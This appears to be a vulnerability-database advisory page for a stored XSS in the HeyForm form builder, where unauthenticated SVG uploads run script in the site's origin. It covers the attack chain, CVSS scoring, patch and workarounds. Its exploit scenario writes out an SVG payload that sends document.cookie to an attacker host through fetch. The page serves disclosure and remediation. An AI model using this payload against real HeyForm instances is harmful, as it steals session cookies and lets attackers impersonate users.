Skip to main content

HeyForm EUVDEUVD-2026-45983

| CVE-2026-45797 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-07-20 GitHub_M
6.4
CVSS 4.0 · Vendor: GitHub_M
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Recon
    Identify network-accessible HeyForm instance
  2. Delivery
    POST crafted SVG with JS payload to /api/upload (no auth)
  3. Exploit
    Capture returned URL for stored SVG
  4. Install
    Deliver SVG URL to target user via phishing or shared form link
  5. C2
    Victim browser fetches SVG served as image/svg+xml
  6. Execute
    Embedded script executes in HeyForm domain
  7. Impact
    Exfiltrate session tokens or perform actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

The /api/upload endpoint must be network-reachable and requires no authentication - this is the default configuration of HeyForm prior to version 3.0.0-rc.7, with no non-default setting needed to trigger the vulnerability. The upload succeeds as long as the SVG MIME type (image/svg+xml) was accepted, which it was by default due to its inclusion in commonFileMimeTypes. For the XSS payload to execute, a legitimate user or administrator must be directed to open the stored SVG URL in a browser - passive user interaction (CVSS 4.0 UI:P) is the sole limiting factor on the attack side. The HeyForm application domain must be one where victim users hold sessions or sensitive data for the XSS to yield meaningful impact. Exploitation is not limited to a specific platform or operating system on the server side, but the XSS fires in the victim's browser context.

Impact

The CVSS 4.0 score of 6.4 (Medium) with vector AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N accurately reflects the stored XSS mechanics: zero authentication is required to upload the malicious payload, attack complexity is negligible, but passive victim interaction (UI:P) is required for the XSS to trigger, suppressing the overall score. The subsequent-system impact ratings of SC:H/SI:H are justified - an attacker who achieves script execution in the HeyForm domain context can exfiltrate session tokens, impersonate users, modify form data, or pivot to credential phishing. No EPSS score was provided, and the vulnerability is not listed in CISA KEV, so exploitation probability cannot be quantified from available data. The affected version range (< 3.0.0-rc.7) places this in a release-candidate series, which may reduce production exposure compared to a stable release - however, deployment scale is unconfirmed. The low barrier to upload (unauthenticated, low complexity) means exploitation is conceptually trivial once an attacker identifies an exposed instance; the primary limiting factor is victim interaction, not technical sophistication.

Exploit ScenarioDerived

An unauthenticated attacker crafts an SVG file embedding a JavaScript payload - for example, <svg xmlns='http://www.w3.org/2000/svg'><script>fetch('https://attacker.com/?c='+document.cookie)</script></svg> - and submits it via a standard multipart POST to /api/upload, receiving back the stored file's URL. The attacker then distributes this URL (via phishing email, embedded link in a shared form, or social engineering) to a HeyForm user; when the victim's browser opens the URL, it executes the script in the HeyForm origin, exfiltrating session cookies or performing authenticated actions on the victim's behalf. No public proof-of-concept code was identified at time of analysis, though the technique requires only basic knowledge of SVG and HTTP file upload.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
Patch available 0.4% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jul 20, 2026

Stored cross-site scripting in HeyForm's unauthenticated file upload endpoint allows remote attackers to execute arbitrary JavaScript in victims' browsers by uploading SVG files containing embedded scripts. The /api/upload endpoint accepted SVG uploads without authentication, stored them in the static assets directory, and Express's serve-static served them with Content-Type: image/svg+xml, enabling script execution in the HeyForm domain context when a victim views the file URL. No active exploitation is confirmed (not in CISA KEV); vendor-released patch 3.0.0-rc.7 is available.

RemediationAI

Upgrade HeyForm to version 3.0.0-rc.7 or later, which contains the vendor patch (commit 144240e5545d10fd9e120d05ccb402a6d7064674). The fix applies a defense-in-depth approach: upload.controller.ts now maintains a blocklist rejecting .svg and .svgz file extensions and image/svg+xml/application/svg+xml MIME types at upload time; a dedicated Express middleware intercepts requests to /static/upload and returns HTTP 403 for any SVG or SVGZ path before serve-static processes them; SVG was removed from the allowed extensions for the upload static route; and X-Content-Type-Options: nosniff was added to upload-served responses. If immediate patching is not possible, a compensating control is to configure an upstream reverse proxy (e.g., nginx) to block all POST requests to /api/upload from unauthenticated sessions - note this disables the upload feature entirely. Alternatively, configuring the proxy to inject Content-Disposition: attachment on all responses from the upload path forces downloads rather than inline rendering, reducing but not eliminating XSS risk (some browsers still parse SVG as active content when opened directly). Neither workaround replaces the upstream patch. Advisory: https://github.com/heyform/heyform/security/advisories/GHSA-m94h-jxvc-hhch.

Affected VersionsENISA

heyform < 3.0.0-rc.7

Affected Packages

euvd heyform fix: 3.0.0-rc.7

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

HeyForm is a Node.js/TypeScript form-builder application using Express.js as its HTTP server and Multer for multipart file handling. The root cause (CWE-79: Improper Neutralization of Input During Web Page Generation) is twofold: first, image/svg+xml was present in the commonFileMimeTypes allowlist in packages/utils/src/mime.ts, permitting SVG uploads through the Multer filter; second, the serve-static middleware served uploaded files directly from the static assets directory with their natural MIME type and no X-Content-Type-Options: nosniff header. SVG is an XML-based vector format that natively supports embedded JavaScript via <script> elements and inline event handlers; when served with Content-Type: image/svg+xml in a browser, it is parsed and executed as active content - functionally equivalent to HTML from a script-execution standpoint. CPE cpe:2.3:a:heyform:heyform:*:*:*:*:*:*:*:* covers all versions prior to the fix.

Know when Heyform gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (GitHub_M) PRIMARY 6.4 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N
vuln.today AI 6.1 MEDIUM

Network delivery with no auth or complexity, but victim interaction required; scope changes to browser context with low confidentiality/integrity impact typical of stored XSS.

3.1 AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
4.0 AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:N/SC:H/SI:H/SA:N

Primary rating from Vendor (GitHub_M).

CVSS VectorVendor: GitHub_M

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
None
User Interaction
Passive
Vulnerable system: Confidentiality
None
Vulnerable system: Integrity
None
Vulnerable system: Availability
None
Subsequent system: Confidentiality
High
Subsequent system: Integrity
High
Subsequent system: Availability
None

Lifecycle Timeline

1
Patch available
Jul 20, 2026 - 17:02 EUVD

DescriptionCVE.org

HeyForm is an open-source form builder. Prior to version 3.0.0-rc.7, the /api/upload endpoint allows unauthenticated file uploads including SVG files. Uploaded SVGs are stored in the static assets directory and served with Content-Type: image/svg+xml by Express's serve-static middleware, allowing an attacker to achieve stored cross-site scripting (XSS) on the heyform domain without any authentication. Version 3.0.0-rc.7 contains a patch for the issue.

Threat Intelligence Overview

EPSS Score
0.4%
Top 67% exploitable
Prevalence
Low
open-source form builder with limited documented enterprise adoption
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.4%
Patch available Yes
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
Yes
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy